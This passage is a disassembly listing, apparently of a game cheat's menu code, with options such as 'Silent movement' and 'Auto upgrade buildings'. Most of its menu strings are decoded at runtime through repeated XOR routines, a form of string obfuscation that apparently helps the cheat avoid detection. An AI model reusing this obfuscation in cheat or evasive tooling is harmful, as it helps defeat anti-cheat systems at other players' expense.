add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x14005bea0
mov r8, rbx
lea rdx, [0x14008aeac]
mov rcx, r10
call fcn.14003a280
cmp byte [0x14008a0c9], 1
jne 0x14005bf0f
cmp byte [0x14008ae2b], 1
jne 0x14005bf0f
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005bf0f
lea rcx, str._______________
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x14005c236
lea rdx, [rbp + 0x520]
mov byte [rsp + 0x7d], 0
lea rcx, [rsp + 0x7d]
call fcn.14006f4f0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x14005c064
xor r8d, r8d
cmp edi, 2
jl 0x14005c024
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14005c030
lea rdx, [0x14008ae2c]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005c08c
cmp byte [0x14008ae2b], 1
jne 0x14005c08c
mov byte [0x14008ae2b], 0
cmp byte [0x14008ae2c], 1
jne 0x14005c216
movss xmm1, dword [0x14007f84c]
lea rcx, [rbp + 0x238]
movaps xmm2, xmm14
mov byte [0x14008ae2c], 1
call fcn.140002a20
lea rdx, [rbp + 0x5f0]
mov byte [rsp + 0x7e], 0
lea rcx, [rsp + 0x7e]
mov rbx, rax
call fcn.14006f510
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14005c204
xor r8d, r8d
cmp edi, 2
jl 0x14005c1c3
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005c1d0
mov r8, rbx
lea rdx, [0x14008ae8c]
mov rcx, r10
call fcn.14003a280
cmp byte [0x14008a0c9], 1
jne 0x14005c236
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005c236
lea rcx, str.Silent_movement
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005c5af
lea rdx, [rbp + 0x1120]
mov byte [rsp + 0x7f], 0
lea rcx, [rsp + 0x7f]
call fcn.14006f540
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x14005c3c4
xor r8d, r8d
cmp edi, 2
jl 0x14005c385
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14005c290
cmp r8d, 0x12
jge 0x14005c3c4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005c390
lea rdx, [0x14008ae2c]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008ae2c], 1
jne 0x14005c586
movss xmm1, dword [0x14007f84c]
lea rcx, [rbp + 0x2b8]
movaps xmm2, xmm14
mov byte [0x14008ae2c], 1
call fcn.140002a20
lea rdx, [rbp + 0x1308]
mov byte [rbp - 0x80], 0
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.14006f560
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x14005c574
xor r8d, r8d
cmp edi, 2
jl 0x14005c536
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x14005c441
cmp r8d, 0x1d
jge 0x14005c574
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x14005c540
mov r8, rbx
lea rdx, [0x14008ae8c]
mov rcx, r10
call fcn.14003a280
cmp byte [0x14008a0c9], 1
jne 0x14005c5af
cmp byte [0x14008ae2b], 1
jne 0x14005c5af
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005c5af
lea rcx, str._________________
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x14005c74c
lea rdx, [rbp + 0x600]
mov byte [rbp - 0x7f], 0
lea rcx, [rbp - 0x7f]
call fcn.14006f590
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14005c704
xor r8d, r8d
cmp edi, 2
jl 0x14005c6c2
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005c6d0
lea rdx, [0x14008ae29]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005c72c
cmp byte [0x14008ae2b], 1
jne 0x14005c72c
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14005c74c
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005c74c
lea rcx, str.Auto_upgrade_buildings
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005c90c
lea rdx, [rbp + 0x1288]
mov byte [rbp - 0x7e], 0
lea rcx, [rbp - 0x7e]
call fcn.14006f5c0
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x14005c8d4
xor r8d, r8d
cmp edi, 2
jl 0x14005c895
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x14005c7a0
cmp r8d, 0x1c
jge 0x14005c8d4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x14005c8a0
lea rdx, [0x14008ae29]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008a0c9], 1
jne 0x14005c90c
cmp byte [0x14008ae2b], 1
jne 0x14005c90c
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005c90c
lea rcx, [0x14007da18]
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x14005cab1
lea rdx, [rbp + 0x2c0]
mov byte [rbp - 0x7d], 0
lea rcx, [rbp - 0x7d]
call fcn.14006f5f0
mov r10, rax
cmp byte [rax + 7], 0
je 0x14005ca54
cmp edi, 2
jl 0x14005ca18
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
jmp 0x14005ca54
mov r9, r10
xor r8d, r8d
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14005ca20
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, str.Default_upgrade
mov rcx, r10
lea rdx, [0x14008aebc]
call fcn.14003c550
cmp byte [0x14008a0c8], 1
jne 0x14005ca91
cmp byte [0x14008ae2b], 1
jne 0x14005ca91
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14005cab1
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005cab1
lea rcx, str.UpgradeType
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005cc81
lea rdx, [rbp + 0x1198]
mov byte [rbp - 0x7c], 0
lea rcx, [rbp - 0x7c]
call fcn.14006f600
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14005cc34
xor r8d, r8d
cmp edi, 2
jl 0x14005cbf5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14005cb00
cmp r8d, 0x13
jge 0x14005cc34
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14005cc00
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, [0x14008a370]
mov rcx, r10
lea rdx, [0x14008aebc]
call fcn.14003c550
cmp byte [0x14008a0c9], 1
jne 0x14005cc81
cmp byte [0x14008ae2b], 1
jne 0x14005cc81
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005cc81
lea rcx, [0x14007da58]
call fcn.140013150
cmp dword [0x14008aebc], 0
jne 0x14005cf11
cmp byte [0x14008a0c8], 0
je 0x14005cd39
lea rdx, [rbp + 0x3b0]
mov byte [rbp - 0x7b], 0
lea rcx, [rbp - 0x7b]
call fcn.14006f630
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14005ccdc
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov r9d, 4
mov dword [rsp + 0x20], 0xffffffff
lea r8, str.Wood
mov rcx, rax
lea rdx, [0x14008aea4]
call fcn.14003c550
cmp byte [0x14008a0c8], 1
jne 0x14005cd19
cmp byte [0x14008ae2b], 1
jne 0x14005cd19
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14005cd39
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005cd39
lea rcx, str.Meterial
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005cf11
lea rdx, [rbp + 0x1078]
mov byte [rbp - 0x7a], 0
lea rcx, [rbp - 0x7a]
call fcn.14006f650
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14005cec4
xor r8d, r8d
cmp edi, 2
jl 0x14005ce85
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14005cd90
cmp r8d, 0x11
jge 0x14005cec4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14005ce90
mov r9d, 4
mov dword [rsp + 0x20], 0xffffffff
lea r8, [0x14008a2f0]
mov rcx, r10
lea rdx, [0x14008aea4]
call fcn.14003c550
cmp byte [0x14008a0c9], 1
jne 0x14005cf11
cmp byte [0x14008ae2b], 1
jne 0x14005cf11
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005cf11
lea rcx, [0x14007da88]
call fcn.140013150
call fcn.14000b700
movss xmm0, dword [0x14007f884]
movaps xmm1, xmm12
call fcn.140012400
movss xmm2, dword [0x14007f87c]
lea rcx, [rbp + 0x2c8]
movss xmm1, dword [0x14007f880]
call fcn.140002a20
lea rdx, [rbp + 0x17c]
mov byte [rbp - 0x79], 0
lea rcx, [rbp - 0x79]
mov rbx, rax
call fcn.14006f670
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14005cf7f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.14000b670
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f81c]
movaps xmm1, xmm12
call fcn.140012400
call fcn.1400505c0
cmp byte [0x14008a0c8], 0
je 0x14005d197
lea rdx, [rbp + 0x10a8]
mov byte [rbp - 0x78], 0
lea rcx, [rbp - 0x78]
call fcn.14006f6a0
mov rbx, rax
cmp byte [rax + 0x10], 0
je 0x14005d134
xor r8d, r8d
cmp edi, 2
jl 0x14005d0f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14005d000
cmp r8d, 0x11
jge 0x14005d134
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14005d100
mov edx, 0x23
mov dword [rsp + 0x20], 0xff
mov r9d, 0x6d
lea rcx, [rbp + 0x820]
mov r8d, 0xa8
call fcn.140037b30
lea rdx, [rbp + 0x830]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x830]
call fcn.1400383d0
cmp byte [0x14008a0c8], 1
jne 0x14005d197
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14005d19e
mov byte [0x14008ae2b], 0
jmp 0x14005d367
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14005d367
lea rdx, [rbp + 0x18d0]
mov byte [rbp - 0x77], 0
lea rcx, [rbp - 0x77]
call fcn.14006f6c0
mov rbx, rax
cmp byte [rax + 0x22], 0
je 0x14005d324
xor r8d, r8d
cmp edi, 2
jl 0x14005d2e5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
